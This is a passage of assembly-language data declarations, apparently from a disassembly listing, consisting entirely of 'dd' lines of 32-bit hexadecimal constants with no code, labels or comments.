dd 0FB59EF82h, 5F2C315Fh, 37B6B85Ah, 3FE5C724h, 0EFCC8515h
dd 0E04153CFh, 0C753BAD0h, 0D16A1A79h, 7E67DEEDh, 10B9C48Fh
dd 0B4474A00h, 0D32E0D48h, 8AAB64D3h, 0EA826534h, 9FED0652h
dd 4D4A2450h, 68AA8751h, 0EA7298EDh, 0F8824195h, 889A916Bh
dd 0E41E25ECh, 0E5858DD4h, 1509407Bh, 7E93D292h, 2480193Ah
dd 0FDA332F4h, 92D279C4h, 5C23FC77h, 9154CEDCh, 0A74A70CFh
dd 0EFFD8773h, 12142241h, 4186CC66h, 0FDB4FD5Eh, 7D7FFE4Bh
dd 0BA4EBCCh, 943E0C6Eh, 0CDBCE5BDh, 45736B1Fh, 0C06496Ah
dd 0A0A3FE83h, 31E2C853h, 7E304905h, 710F8B4Dh, 3E891B0Ch
dd 0C64B9461h, 0B81C35A1h, 0D3E84CAh, 0C427082Ch, 0D9A579BEh
dd 77B7170Ch, 585AD80Dh, 3D8B95BCh, 0A9A57381h, 0A7733B09h
dd 732FD2EAh, 63B734Eh, 7F0F795h, 21CB8708h, 1E299B39h
dd 33D104E1h, 0BFDC55C2h, 4C52D45Eh, 0B91C9104h, 6DBD6D0Eh
dd 7575D1E7h, 0CD96C227h, 9E0F61B6h, 0BD039938h, 0BF02161Eh
dd 3DDFC207h, 4E49C22Dh, 9D92EF3h, 0D8EAE1F1h, 3DC04DFAh
dd 5E3FCDCh, 55B357ADh, 0C1F5C271h, 0DAF4E675h, 9CBA4B6Eh
dd 6B8C448Dh, 88DC850Bh, 789F4134h, 0F236EAE9h, 74930206h
dd 0E0E38D89h, 0FE5B022Ah, 0E0B3FB83h, 0C7956FFBh, 8FE9B191h
dd 7F31BFEFh, 0E9C1A563h, 40F3503Bh, 40453CE4h, 13257DC8h
dd 0A0186EC2h, 0CE3B7A76h, 0C2E9A524h, 0C07DFB71h, 0C214D32Eh
dd 34A61227h, 5CCDD9B8h, 0BC4BBD5Dh, 385CAF92h, 0B4D40415h
dd 0B4C7141Ah, 26524233h, 0F5B6FE5Fh, 18AC9A7Ah, 0B82CA070h
dd 8E014312h, 0BA6B508Bh, 13015443h, 790133E7h, 195EF889h
dd 5B7A8396h, 900CBD9Fh, 8336EA41h, 0A177980Eh, 0DD24B0CCh
dd 501D214Eh, 0A3BD5D18h, 0DDB577C2h, 9E9E4F62h, 51EF6363h
dd 0FD271706h, 0BC093CE7h, 8731273Eh, 433A4AB9h, 0E61E2AEDh
dd 0F28FE37Bh, 0BDBFED6h, 0BF23CA2Ah, 1901AC07h, 0C4802A8Fh
dd 2CD47056h, 791C2BD9h, 2212F0F4h, 0AE25505Eh, 0B9AA962Ch
dd 8ACB4B97h, 165A8BA2h, 0AFB91BB6h, 34CCE3D6h, 9A7F6B44h
dd 3EC489F9h, 8748079Ch, 0F40F37A5h, 71C952B8h, 693863F7h
dd 0B3842F9h, 3E216B5Ch, 92AB53E1h, 1F7B14FCh, 0AE81BF88h
dd 70296A11h, 0CA7F8893h, 9F8A7DBCh, 9A3F8BEDh, 0B849169Ch
dd 998133EEh, 663BD301h, 3EBB2737h, 5F7C7AA7h, 3311375Ch
dd 92ECCD23h, 0F9C0E30Dh, 0CEEBA511h, 0CA01A1EEh, 0D0A1DC3Fh
dd 32FEA9ADh, 2BAE2582h, 0A51AEAC6h, 4E1C65EEh, 79816228h
dd 453BF929h, 8FAAF294h, 1B1E8C77h, 9B1EAAC7h, 87ED4AFh
dd 9F96EF4h, 0F4E5AF83h, 9CE394A5h, 46493360h, 0E293F3ADh
dd 3BBD847Dh, 0D58FBC4Ch, 3480D4D0h, 24323732h, 9C0ED83Dh
dd 0F8B150A8h, 36EDE107h, 9C4198F5h, 696FB526h, 53F5C8B7h
dd 0FFCC5632h, 24ED2235h, 8FBB4A79h, 590EB748h, 0E59BC4C9h
dd 0D3ED6425h, 0F6E3B3C1h, 1BE573C3h, 28839A7Ch, 5644C47Bh
dd 4DA6A599h, 688A3E46h, 4580CB47h, 0DDCBCC52h, 0E3F441CBh
dd 36571509h, 9975FA87h, 6A4E2031h, 0EA317231h, 2D4A809h
dd 4B2774A0h, 16832074h, 0BA7070EBh, 6B2583F0h, 0E1AEB04h
dd 755B50BDh, 35DCE447h, 36E1687Ch, 0B4F560DAh, 0ED1B70F8h
dd 36957CE3h, 0B157DF51h, 2A525CFDh, 8297305h, 17573692h
dd 5F31DE5Ch, 8EEBD1A6h, 1A318A4Fh, 98CF00DEh, 2CFB498Dh
dd 0E74C6833h, 3352AA08h, 43F985B2h, 46C14C27h, 0B8D32BEEh
dd 2691FE3Ah, 401987FFh, 0B52582B1h, 19A4F7EFh, 3A5A460Ah
dd 5F0D8044h, 1B4A4BD0h, 0A7CD4643h, 9EEA5523h, 0C7F95EF6h
dd 0D68AC851h, 4718CC28h, 0E9CFB894h, 9B981972h, 0F6FC2B48h
dd 567FD76Eh, 0F30674DCh, 375515D6h, 0AE843BBDh, 10EDDDD8h
dd 375860CEh, 3CF9CF3Fh, 0F8BB721Fh, 9E4C459Ch, 5ADE24EFh
dd 8A3ABA83h, 0A432B636h, 48EDCACDh, 0ABA982Ah, 993E5CC8h
dd 16239Bh, 0F344490Ah, 0D3CD33A7h, 0F58A0ACAh, 0BCC068A5h
dd 91BBD2A6h, 53CE1DCAh, 1427CB36h, 612BE3A3h, 0C18E4D69h
dd 25705423h, 377DDAE1h, 0FCC7B625h, 1A6C70DAh, 52C16284h
dd 40089FEAh, 409CF9DFh, 0EB3F213Fh, 9163D98Ch, 0C639D3DAh
dd 0D52F2A1Dh, 0A95ADEA5h, 6CB24F9Dh, 4AE6F4EDh, 0C287AA6Ah
dd 0FDBD2D39h, 9AB9DC61h
dd 35A963EFh, 6A0A1844h, 726B0218h, 0ED52F9D8h, 97357AD4h
dd 0E998DD1Eh, 4C88A240h, 2D78C9C9h, 0A7126AB3h, 5AE08D3Ah
dd 0E118950Dh, 0EB01AD0Ah, 8FD31D1Dh, 942C5CA8h, 0D958579Dh
dd 497434D9h, 261EC6E6h, 3EC5DDE6h, 91F7B588h, 0B8474E6Bh
dd 0A58373BBh, 0D42B3A9Ah, 57D99E1Eh, 0FE8A8789h, 0AA5E63B1h
dd 87FBB38Eh, 399AADA3h, 8AA26237h, 170AFB12h, 52AB5D73h
dd 27AD5E51h, 8B848162h, 77C37D8Eh, 0A39624C2h, 7EE624DDh
dd 0CEAA6904h, 2B485152h, 124A109Fh, 0F74CE28Eh, 99FFE67h
dd 8D8AA473h, 1771893Ch, 874151B0h, 0A43D7529h, 0CF6B769Fh
dd 0EB3BAE2Dh, 784B294Ch, 0BF19EC36h, 0A4EB0982h, 0EBD37114h
dd 829751C7h, 6C6D0402h, 0D144F9D6h, 68FBCC94h, 652B4C43h
dd 0A025B05h, 35725B65h, 4DE8BEE7h, 156AF9FEh, 58BCB168h
dd 428C9CF4h, 1CDC3434h, 7A1899C1h, 85DB08F1h, 0C2BDEFF6h
dd 57898E22h, 0E97E567h, 338E7CE1h, 83D6761Eh, 4476F8FFh
dd 4DC99573h, 0BF4443AFh, 1252EE75h, 0A83EB9F9h, 0F0AFBA30h
dd 0AF59B07Ch, 933A4424h, 69F7A25Bh, 2920D460h, 7178D792h
dd 51D814FDh, 0BBC853A4h, 0E97C40C8h, 0DB050938h, 875CD125h
dd 130E302Eh, 71A356D1h, 4340E609h, 20A65A44h, 0F1D4C219h
dd 525B6D33h, 0F3C96050h, 26DA7537h, 224B6723h, 0A02F94E3h
dd 49EFC53Ah, 5D67F79Dh, 94E6A313h, 8B9EC80Eh, 5BF5A58Eh
dd 24899ED2h, 91A11FB3h, 6AD0B590h, 636D5A54h, 5C1A4561h
dd 5A6516FFh, 929C7B95h, 0B671E269h, 1F4B7A5Dh, 0ED9E451Ah
dd 3411E82Bh, 72B8CAA2h, 0B4597A17h, 0E5E5AAA8h, 597EB0F6h
dd 4984BCC8h, 0D26B2A46h, 85CC0BE4h, 7E2B9A73h, 0A88A65A4h
dd 0F1F93E67h, 0FFDB4BF1h, 0FB1DF4E7h, 81C57457h, 0A187B4A0h
dd 398EF1E7h, 50BE72BDh, 65127F89h, 1F732A9Bh, 832945E1h
dd 0C1CF82FFh, 383EAA5Fh, 2AD41C0Eh, 4415A02Ah, 0A5730DFCh
dd 0F86605F2h, 90037472h, 3FE3CAF5h, 9484EC4h, 815B3F1Ch
dd 250061B6h, 0FF6AEE07h, 53733151h, 0AE2DCDCh, 28CE5985h
dd 0BD623100h, 6703DC59h, 0DE2C219Dh, 0EF3A60E8h, 47EB6181h
dd 0BAE2B6C8h, 9A393CC7h, 0A3C9BE80h, 0F1E7162Fh, 899A00ADh
dd 7CBE54D4h, 13140193h, 841BEDA5h, 0C2DC2FF3h, 97C803A2h
dd 8FEB6029h, 99DC571h, 0EA6D30EDh, 699C43E5h, 0A893F0A2h
dd 0D0CA6330h, 8A4CC0F4h, 7BA5895Eh, 5C8932B3h, 9FDDECF1h
dd 0E3EEB39Dh, 0BCDFC3Ch, 0D45976D6h, 6AA8DD01h, 0D1BB0706h
dd 91B554B1h, 79440C9Dh, 0DB16AE0h, 8716DE95h, 70BFFC30h
dd 6B2BA5E2h, 3EA7600h, 62F1D3AFh, 2582518Fh, 0F670014h
dd 8375109Ch, 96836378h, 0BDBAED42h, 237153DCh, 31C27F69h
dd 0E5920DF0h, 0D9F6EA47h, 19FCABEDh, 9565DDE1h, 0DF1BC691h
dd 6298EF8Ch, 638B26AFh, 0C099A4FEh, 0C5A9F3CBh, 69C9CACAh
dd 785F387Ah, 36B1E49Bh, 1A939462h, 92E8F30Ah, 0F61A05A4h
dd 2CE84E48h, 7A21F6E4h, 14CAAC5Ah, 9C29BE0Dh, 86578260h
dd 0C3AFF919h, 78B01349h, 72E09550h, 7708B6D8h, 2D738FCAh
dd 51E970B8h, 0D3FFE10Eh, 0A7DC4606h, 132BAF66h, 4288BCD1h
dd 68F960B0h, 872CB82Ch, 38B8056Eh, 308AEAB9h, 963696EAh
dd 240FB549h, 0B8F75BB1h, 0F53F7A31h, 4244A242h, 81E7E205h
dd 34F422B5h, 7303475h, 71F817C4h, 25F95856h, 0B2D3C4D7h
dd 8D61FCFAh, 0E2DA901Dh, 8C660977h, 0C3CE02D4h, 1076D00h
dd 2397F1F1h, 233B7933h, 51BB1B4Eh, 0A461CF41h, 2D93E19Fh
dd 26EB69FEh, 3A3CEF71h, 0DCBBF389h, 96BC5AFFh, 0EA49AF91h
dd 438FBA45h, 54D82605h, 0A9F5CB3Eh, 0E956CF1Eh, 0A7E72865h
dd 0E3EBF54Fh, 0C8F66C9Dh, 0D3088E26h, 5B063DFFh, 0B4B51443h
dd 2CD25B8Ch, 0B545B801h, 0D28FBC60h, 0A08C1965h, 42111A83h
dd 0FBEE4B4Dh, 2A81024Fh, 0F0C2DBC8h, 0C22A8766h, 0EB7754F1h
dd 406026Fh, 7AE929A6h, 9581C4B7h, 0E8E9498Dh, 4F0A0E74h
dd 6DC585A3h, 0F6A776B3h, 0F9D40CDCh, 934C50CEh, 0A7A568Bh
dd 0C5FE3211h, 0C291B51Ch, 2A2D9E35h, 8ED0B34Fh, 0FB513985h
dd 0E30A89A5h, 91F6B561h, 61196B9Eh, 0D894D855h, 9090B650h
dd 0F17B71CEh, 4D51C16Bh, 568E7449h, 0EF25B8F8h, 306E2123h
dd 4C206BADh, 78DDAFF0h, 412580EAh, 2845806Ah, 0E78EE47Ah
dd 9668B01Bh, 7CEF4278h, 86BC2D9Eh, 5305A7F8h, 0F0A99D3Eh
dd 0DFD9BDCEh, 4C554064h, 2604A257h, 538B43B7h, 35089066h
dd 0EA20BEA0h, 2F684DD4h, 0EC1A6DDAh, 0C4828447h, 0E4E6DB1Ch
dd 3435D63Bh, 84C0ADF1h, 7B454129h, 50FF26B2h, 0A3E26E5Ah
dd 221D03F0h, 0FE100628h, 0F5D9E191h, 0B95D7C86h, 4B8298D6h
dd 0BC9D43F8h, 0A53C0888h, 19439813h, 0D0E10C73h, 0BCF39315h
dd 991EA326h, 60400981h, 0EA2DD4E4h, 6458677Bh, 3CFE6845h
dd 806A9F28h, 97BABCEAh, 8C98A255h, 97210B07h, 0C06B6BF6h
dd 8717767h, 81723489h, 39D12BCAh, 0E5D477C9h, 68F7B81Bh
dd 48DCD52Dh, 0CCA9FE5Bh, 25EA364Dh, 24504875h, 27251A1Ch
dd 0D51A967Eh, 0D33A29B6h, 543E31AFh, 0EC3DAF3Dh, 838ED84Fh
dd 3D9EB58Bh, 0C80AA4CDh, 0DEF38DBCh, 0FEA7BC26h, 2BAE0A22h
dd 0B26EC862h, 80C2CAF3h, 1178CC87h, 0CFD94A17h, 1B330AF6h
dd 9026A8D8h, 0AEB15AAFh, 8459D368h, 86B93644h, 0A60C7409h
dd 0A20E0CD4h, 63ACEABDh, 0C49AD14Fh, 76D679BFh, 1AFA37DFh
dd 0A2D1F024h, 0AC4F6D42h, 0D1268558h, 4AE13E7Dh, 10530728h
dd 0F0C9822Ch, 0C1243D84h, 0F4B5378Fh, 77C22ECAh, 281C6231h
dd 174AD4C4h, 3769AEA3h, 966F3868h, 0C67CFF82h, 767979F5h
dd 964D5555h, 0A310671Ah, 0AF220484h, 2333BC38h, 8950603Dh
dd 8CA24FB5h, 59E277Ch, 0C1EB1250h, 9853E7BCh, 57CAC445h
dd 88F5A1BFh, 9DA7738Dh, 1E210750h, 81A1D050h, 0E03D3DF4h
dd 0C16F6C0Ah, 498AAEh, 7AB4E6CAh, 718D1498h, 0B1AC5132h
dd 0F5760B64h, 1873110Bh, 7B6842E3h, 0BC765799h, 7B140F57h
dd 178140F1h, 7FC8FFC7h, 4E0DEBC1h, 5DC94306h, 0BD8105BCh
dd 7382F8D1h, 3484CE3Bh, 0A26561C9h, 2C14961h, 4FE0F278h
dd 468BB4AFh, 82437530h, 9E281A95h, 4A56242Ch, 1A34B45h
dd 0E82C71EEh, 0DEB3108Ch, 7B896775h, 3DE3E9BEh, 0DC499C96h
dd 330D108Eh, 499EF4F8h, 272774ECh, 0C4BA36F1h, 5922DB62h
dd 17B9ED8Dh, 0F3C0C47Bh, 8CB521E0h, 0D0AB2F3Fh, 978D4652h
dd 739ABB5Bh, 0AA65616Dh, 0E7168E2Dh, 0EE208487h, 0B3067C59h
dd 38FF9550h, 0A216B7C7h, 343C4DF8h, 0E4503EC1h, 0C6A05391h
dd 4675EBA7h, 9821B170h, 1ECB3388h, 0CFCDFB01h, 0EAD42092h
dd 89B0DE7h, 10E4039h, 8438FECAh, 0EEDBC32Bh, 3BF80249h
dd 336DC37h, 371BA9E3h, 0C14D7040h, 0B63801CBh, 84C563E0h
dd 96B0C5F0h, 0C2AC2931h, 8CDB41B7h, 4592BB76h, 867068A6h
dd 9016C91Dh, 86AFD5C7h, 0FAF12FACh, 0D6EC54C2h, 1343C5DFh
dd 2A9A7D75h, 0EFB4F731h, 791A8E8Dh, 0C1093331h, 859E5362h
dd 0AB396D69h, 0A9283AE3h, 61F37117h, 0E01BD1B9h, 9965F146h
dd 56331877h, 0B7693D2Ch, 0FA00FA6Ah, 0E15CEE71h, 0F104B469h
dd 0BC105876h, 7600F10Dh, 92CB0F3h, 941E80D4h, 8950FD39h
dd 0E7E95165h, 5301AFAh, 0E2742ECDh, 0AC242BF6h, 0F82376ADh
dd 0F40B089Fh, 763BDB7Eh, 9AB5EF47h, 0A6BFFD08h, 3270BE75h
dd 0A5D8E6EEh, 32EDD985h
dd 8692A7D6h, 0C4257531h, 9AC95C84h, 86C9AE7Eh, 0AC0F9C75h
dd 2A553B38h, 0F02B294h, 1461792Eh, 933FEC9Eh, 6D22C74Eh
dd 5C5B0E4Dh, 47480992h, 83FDFF22h, 0E6641D1Eh, 0AFA26664h
dd 9B9A648Eh, 14BC101Bh, 0E17CD1DBh, 0C97E5CD2h, 0F5A71F6Eh
dd 5EE3A465h, 250D81CAh, 77DC0B99h, 0C3383CF4h, 0B36DB9A7h
dd 931B2C69h, 5FBBE861h, 0A0631412h, 2A2DCE13h, 220014BAh
dd 4351A7A3h, 0B8293844h, 2804C8B9h, 75E4EE3Dh, 0C498E59h
dd 26674F82h, 0ABD5A5D7h, 0F1082379h, 4AB7CCAh, 0C823B83Ch
dd 3FBC4295h, 730B83F0h, 0E5A182C9h, 0B26E36DBh, 0C11B1BD3h
dd 8A203166h, 95AFF991h, 0F8CCAA69h, 92AEB12Ch, 0E2A0A6F6h
dd 0E9852EAEh, 80F5A0BFh, 8B897947h, 893C2828h, 88917066h
dd 0C3737D23h, 12F3F517h, 0FFAD2761h, 0E2428FEh, 0EB7BFD1Ch
dd 0B89F9799h, 835E7EE6h, 4CDC6849h, 0EF5EE103h, 5FFE540Bh
dd 891533Dh, 89030C11h, 0F1714635h, 4E7D081Bh, 189C3BE3h
dd 1AFEF4D5h, 90C246EFh, 949FA3F8h, 7E58812Bh, 9D52228Bh
dd 7939FB64h, 0D26BF8C3h, 27CBDE7Ch, 2225CCD3h, 0C0FEF94Dh
dd 4DC64048h, 0F85B7FAEh, 0AAA9BAF2h, 2A7B66CDh, 0EA50038Dh
dd 0DA203C9Ah, 0E3A7E69Bh, 5000ED88h, 0FFDFFDE4h, 0A4A73797h
dd 0A8E18B15h, 0D87B4CC6h, 0EB5BD388h, 0F8D1FBD7h, 0BC05A930h
dd 47354EE9h, 35C5488Bh, 85E6A4BDh, 0E5D8E4CFh, 41205D6Fh
dd 0D9A0A6ADh, 0D89B0385h, 0F1826F9Ah, 4CB02352h, 913F1D30h
dd 4E1E26BFh, 0A3A79C63h, 2E26C01Eh, 4813B9Ah, 0A9A8917Dh
dd 0B134207Fh, 0F3AE4513h, 0EBE95F0Ah, 55D3C5F8h, 6035F182h
dd 0BF38C56Fh, 2D60BB3Dh, 9B14F018h, 211720A3h, 905BC376h
dd 41589A67h, 17D8B86Bh, 4344EDBBh, 23BD5602h, 0A629E153h
dd 5B840A0Ah, 28EAF2D4h, 0CF4E9F30h, 2D5DA513h, 37E2BA9h
dd 3D0CAB06h, 11B61AAh, 78C62FBDh, 452C23ACh, 7CD24FBEh
dd 0F46F03Dh, 13FEF1E6h, 2DDA4B02h, 90C1999Dh, 8C663177h
dd 9669C3A6h, 0BEA32E15h, 2882835Ah, 0FEA8E481h, 8D738005h
dd 28F302DEh, 88047E73h, 0A17B209Dh, 0F1185E92h, 0CB4672h
dd 0A9199B12h, 0A2375A39h, 5C0E3FDFh, 7E267305h, 9F8FA7E5h
dd 718B6311h, 8E2D4723h, 71BD7603h, 0AAFFA0BBh, 7807C355h
dd 4F04EAD3h, 97970A11h, 2CB10381h, 20E66B5Fh, 51862732h
dd 69C88F1Eh, 0CF8B0BB9h, 8A1D6635h, 0B8112723h, 0B4966D56h
dd 0BA8617D5h, 0C6DDEAF7h, 8375C27Ah, 360EA6F8h, 0B8EA7F22h
dd 13097873h, 0FA6B32BCh, 0B7C4B337h, 0FB8839BEh, 74AE9EC2h
dd 0A6FDFD91h, 0F8E0AD74h, 0E2D49F91h, 0AB557E33h, 0F56D271Ah
dd 2F9348FBh, 7A24A525h, 0C54955E0h, 74E7B12Eh, 0C426C027h
dd 82EE5FC4h, 0C59B8824h, 1AFF07E8h, 850CD080h, 0F00E9339h
dd 60A69A4Ah, 7143AB20h, 0CDB2ED0Bh, 0AE099B4Ch, 34F2C9F0h
dd 0EE9AA05Dh, 78802BE4h, 8B240644h, 6CA5EBE4h, 7E02E6A9h
dd 0CA9DA5C2h, 0B05AF89h, 0E617698h, 0C86922EEh, 7F7219EDh
dd 74291395h, 0E130C7A1h, 7A75CCE5h, 2AD76151h, 0FC2298C5h
dd 717E9081h, 0B4B5BFFDh, 4814202Ch, 8168953Dh, 0A35C8218h
dd 0C2874439h, 1E520DDCh, 7BB310FDh, 16CC1C33h, 0F4862EE0h
dd 717BF2F2h, 468BEAE0h, 10215AA2h, 8CFED51h, 6F0CCC5Ch
dd 7D968EB4h, 91D8B677h, 7CEF8D38h, 42617F9Fh, 0AF8074BCh
dd 0D3ED78Ch, 0C90C6B23h, 28813848h, 0EA973647h, 43978B15h
dd 0E8AD9305h, 0C696371Dh, 0C6DE313Eh, 44BA6049h, 74F8AC6Ch
dd 5228B59Eh, 0F0B8B525h, 13ABDC21h, 86DD05Dh, 0A4E53CB2h
dd 0EA8272F8h, 6E4A9689h, 1252F5DDh, 0CE8CC7C3h, 0B4724CD9h
dd 0C564C80Eh, 7B012573h, 0AC47E24Ch, 0A867CD4Fh, 476641BAh
dd 31645797h, 97A149FBh, 9CDF445Bh, 0E6C80A54h, 5825CAC8h
dd 14EBF47Eh, 0D875D216h, 0FED9380Fh, 6D9EB29Ah, 0D5559BF5h
dd 60C466E8h, 6AFA4C63h, 0AE9F6331h, 7BC76C3h, 5C8D0D60h
dd 620CA893h, 0E2891AFh, 1898FD8Dh, 0E6734A04h, 78622BC7h
dd 3D5B4Eh, 0BBB86E40h, 666C8A4Eh, 0AD41E26Bh, 2AC1C9BEh
dd 2A42E8C6h, 3B418038h, 3E4D730Fh, 0FC0D1799h, 0DC3864F1h
dd 3ED4ED5Bh, 0E37966ADh, 1ABF6A35h, 5A604734h, 0C238FD79h
dd 5ECF4B9Dh, 0FD43D854h, 4AEE3BDDh, 727F0F41h, 75B0E28Fh
dd 72282EC5h, 0A5FCD901h, 17E12Eh, 0E5D6EF27h, 6508D7BCh
dd 78F0CD00h, 0EE812FFAh, 6F606EB4h, 0E974316Fh, 0DCE9247Bh
dd 0D11FB263h, 46890CA7h, 803E8F11h, 1AE39E44h, 0EB3A90E1h
dd 2A8BFFD4h, 0F9505708h, 7070E83Ch, 926C3E8Ch, 0E41793Ah
dd 644B006Ah, 0E489E265h, 0B8CE6B3Fh, 0A5B69653h, 0BD8EC716h
dd 96460E91h, 0BCC01E43h, 6070389Bh, 14689D84h, 73844472h
dd 0D42E2DF1h, 22EEA592h, 0F34E41D8h, 63630769h, 2775F000h
dd 0E820DCD8h, 0B68D57AAh, 0D1DDCEF2h, 0DFAA1B75h, 5E74AFC6h
dd 0EBF8BD38h, 0FDB2667Bh, 0BC2411BAh, 256D90F5h, 8E55646Bh
dd 5159EEh, 3ED6C53Bh, 0DBC3272Ch, 848D05F3h, 0BACB3003h
dd 0E866FCDFh, 0A3DE3139h, 0EA1426DEh, 6A68C454h, 5080B963h
dd 7C8EE9ACh, 54E121A4h, 5D8D7ECh, 0EBCBCE9Ah, 0B9E67EC5h
dd 0B43575FCh, 157A888Fh, 8DF8A478h, 0A71C0D7Ch, 0A4CB87EAh
dd 0A679421Ah, 7919AD7Eh, 0CD571FF3h, 0EC8BBF9Eh, 0FE47F56Ah
dd 0F360D751h, 32DAD95Ch, 0CB009FCAh, 0A62C8BF4h, 4D5A909Dh
dd 0AFDD477h, 37743F00h, 0AA38D5ABh, 0BE5B12E9h, 1BA1FD9h
dd 9E6BEEECh, 0FAA4530Ah, 869FD71Eh, 0DE64353Dh, 0E5742304h
dd 5CF6A02Ch, 942481F2h, 7512A78Eh, 0F3EB6845h, 3C23950Dh
dd 80AF32D6h, 8D98D495h, 7F86BF77h, 68136E90h, 9060E5B3h
dd 0C71E9049h, 0BFDC263h, 75E296ADh, 0AABD1F13h, 0E4BCB598h
dd 36430C75h, 0DBE23387h, 2ADE89EFh, 0CACA3707h, 0B23627E8h
dd 0BBFCE9D1h, 0FAF2451Bh, 0B1AF7DAAh, 0C876BF6Fh, 0EEA7CAB1h
dd 3E5DEBA8h, 25936E91h, 33F4B2A6h, 5CD24EA6h, 0B239BE7h
dd 0E1099025h, 2C275326h, 89AD5EF4h, 783D43EAh, 0A3D52017h
dd 93AD21B6h, 37D6B9Bh, 0E7ABC8D0h, 702E1894h, 272637D4h
dd 77E2F49h, 0F8B79FDEh, 46687CD6h, 1A449FB3h, 0FD4D439Fh
dd 1AC5BE72h, 2431C26Dh, 355DC747h, 0E766033Fh, 0B3AB9A8Ch
dd 0C744E847h, 2F792798h, 39950442h, 3EE61BD9h, 865F871Dh
dd 821066F0h, 579BF5F3h, 70E329C9h, 5DCCCA7Ah, 1529E65Fh
dd 391AE06Bh, 0F00857F4h, 114F65B4h, 7E38DA6Fh, 0F8F5415h
dd 0A66720BBh, 9AA1DFAh, 726851BDh, 7B5329BAh, 31E9AD4Fh
dd 59489FA7h, 7B455520h, 0C9CF1731h, 8965867Dh, 0B7EAF340h
dd 0D1DD1ABCh, 791EC269h, 0AF1E0228h, 99DEEF8Eh, 0F9BE9C75h
dd 9D71B558h, 0EB71A279h, 59EB6869h, 3A21BA19h, 909A92F4h
dd 4BBE3767h, 0B3B8D0C2h, 5DA7AB2Eh, 8940C35Dh, 0F149AD7Eh
dd 5A40A11h, 5BB86BBh, 83A5CFFAh, 0FDC6ECD3h, 0FAB1E0C3h
dd 0B562EE6h, 9A6243F5h, 0A89D1BBFh, 0BE0D65ECh, 5A82EAB7h
dd 0B0272B84h, 164B8915h, 1581C12Fh, 524FE5AEh, 71F33F4Eh
dd 5BE60313h, 7EEE9EF8h, 1A9DE73Ch, 0DC093F7Ch, 0CB82332Eh
dd 0F7D8BA9Fh, 56019F0h, 0A336B529h, 37B2222Bh, 22A4A754h
dd 0E0B6D4D0h, 87ADC760h, 3A65BF0Eh, 19C5AC44h, 0B5FC5879h
dd 0D35AEE85h, 85A42FAEh, 0D595B788h, 23A58324h, 8685D290h
dd 0FD2B6991h, 6C4BDA9Bh
dd 2D0621D9h, 0ACCDB589h, 0B2ABABD0h, 0C213D2ECh, 8DA8F5FAh
dd 0A860409Fh, 0EB05FD9Eh, 42CC1033h, 0AE0C725Bh, 0D43F69AEh
dd 80F3464Eh, 0F93A00Ch, 7A68D841h, 0ECE7638Bh, 0BB59A704h
dd 0FBD6C454h, 26E1D81Bh, 0B65F180Bh, 6311FF0Ah, 0BA2C8574h
dd 0CD1CCC31h, 106A53C6h, 0E1C6109Eh, 0E6AA3EA2h, 8E24BE0Ah
dd 0E655DC27h, 0A045D6ABh, 1FEAB8D9h, 210DBF44h, 83F468FFh
dd 0DEB43D04h, 46FF3550h, 47689457h, 32921D70h, 142B0CA7h
dd 0C958112Bh, 0C337FECFh, 16DABAACh, 5A6FA915h, 9FE81E78h
dd 28E9A51h, 0B62BA930h, 86A7C376h, 55D33CEBh, 274C70AAh
dd 24D1C525h, 8777E43Dh, 6C0AF8Bh, 58EF0315h, 680E50D0h
dd 2E937D2Dh, 2E8D3C50h, 9D63D6Dh, 4A175ED2h, 8363EEB9h
dd 0BC815365h, 5D69A36Bh, 0CB9088C4h, 8866EBFh, 5C9630B2h
dd 1F6CD4FAh, 9C612583h, 0AC2C03D2h, 4ADF25A9h, 4C03306Eh
dd 193C91ACh, 5E397E6Ah, 794C3FB1h, 147F9023h, 4E49FBCDh
dd 0C54CE697h, 0B767D3Bh, 53843D75h, 66E6C48h, 47E4D036h
dd 0CCA1F384h, 0BE36930Ah, 883AD8FBh, 19D853DFh, 3425899Dh
dd 8141E309h, 6087A184h, 0E5E84D80h, 29754A23h, 3595F4A6h
dd 185D31Bh, 15534205h, 9E7C6B4h, 7F972BFFh, 2D4FE3AFh
dd 204BEE99h, 7171A25Eh, 5B48C3C6h, 69F55994h, 98AA22Dh
dd 667BC1DDh, 897B8E43h, 588A2A3Ah, 0C19726C5h, 3D29FAF1h
dd 0DA1A2D35h, 4788E453h, 300DB337h, 6EFA029Bh, 0A98CA84Ch
dd 9BE9AFFAh, 3B5CDCECh, 2835628Ch, 909C3F0Ch, 7851D37h
dd 9FCACBD7h, 0B9585367h, 479D47BDh, 0D4BC6F82h, 0EBABE9A1h
dd 611A3BD0h, 5588959Fh, 2FB636AFh, 2811395Dh, 53259F1Ah
dd 75FEFC99h, 81E863Ch, 6E016C76h, 411868EFh, 0EF8D0DBFh
dd 0FB621D07h, 4D5F2ABDh, 0F202D962h, 0B1DDD04Fh, 28A396A6h
dd 3A63AAEEh, 82428691h, 0D8B42353h, 0E371172Bh, 55AC515Ah
dd 6F17EC94h, 0D3B7CC85h, 82CB248Fh, 942779B6h, 0AA4F866Ah
dd 0A5804E75h, 328B906Ah, 7F356269h, 0EB43A8B3h, 85DA6890h
dd 62E2B424h, 96A8C7E7h, 6B66DE84h, 6B3D2154h, 8834DE40h
dd 2B4B5300h, 0F8F20B8Dh, 0DC89B84Ch, 2CEB4A52h, 13DD10E7h
dd 32BDB8AEh, 0BBD43C95h, 0EE37B63Bh, 0DE919C32h, 130CEAEEh
dd 0B728CA93h, 0FE992FC6h, 0B25438CAh, 2CC74D91h, 82B7B635h
dd 266A6CE8h, 0BBE0FB8Bh, 2F6BB130h, 7E9D655h, 248089ECh
dd 67B1B26Dh, 0E04C5412h, 1F7DBFACh, 3568ADC3h, 3789831Eh
dd 0FF77D640h, 1955D050h, 0D95C35BEh, 39E686B5h, 4A8C638h
dd 7C5B1BD6h, 562DFB34h, 6D9182F9h, 2F9FBCCBh, 0BE3030BFh
dd 308A5C4Ah, 0DFDAB3DCh, 412C7C63h, 0C5D94B1Ch, 1EFB9DE4h
dd 0A5796782h, 17C5E144h, 8C4E401Ah, 0BE422CEFh, 0AA54D8Dh
dd 7C8D7D47h, 807A4CF4h, 0AFE32B61h, 0ADE70E95h, 0A1D971F8h
dd 0F9AF7471h, 92C43BD5h, 8EF46035h, 395CCEB2h, 87A9B8AEh
dd 8D7EE3CCh, 0B78C0D59h, 0B4A7AEC4h, 0C49A353Eh, 0D73E9B0Fh
dd 80C729C8h, 99614D84h, 77A65691h, 7522B647h, 5D56D480h
dd 3C6F5D10h, 4FB65724h, 0C2B4152Bh, 28E4B4EBh, 0BA63C23Ch
dd 0B05471BBh, 31CA4D1Fh, 5437FEA9h, 0B16B472Dh, 33B9304Bh
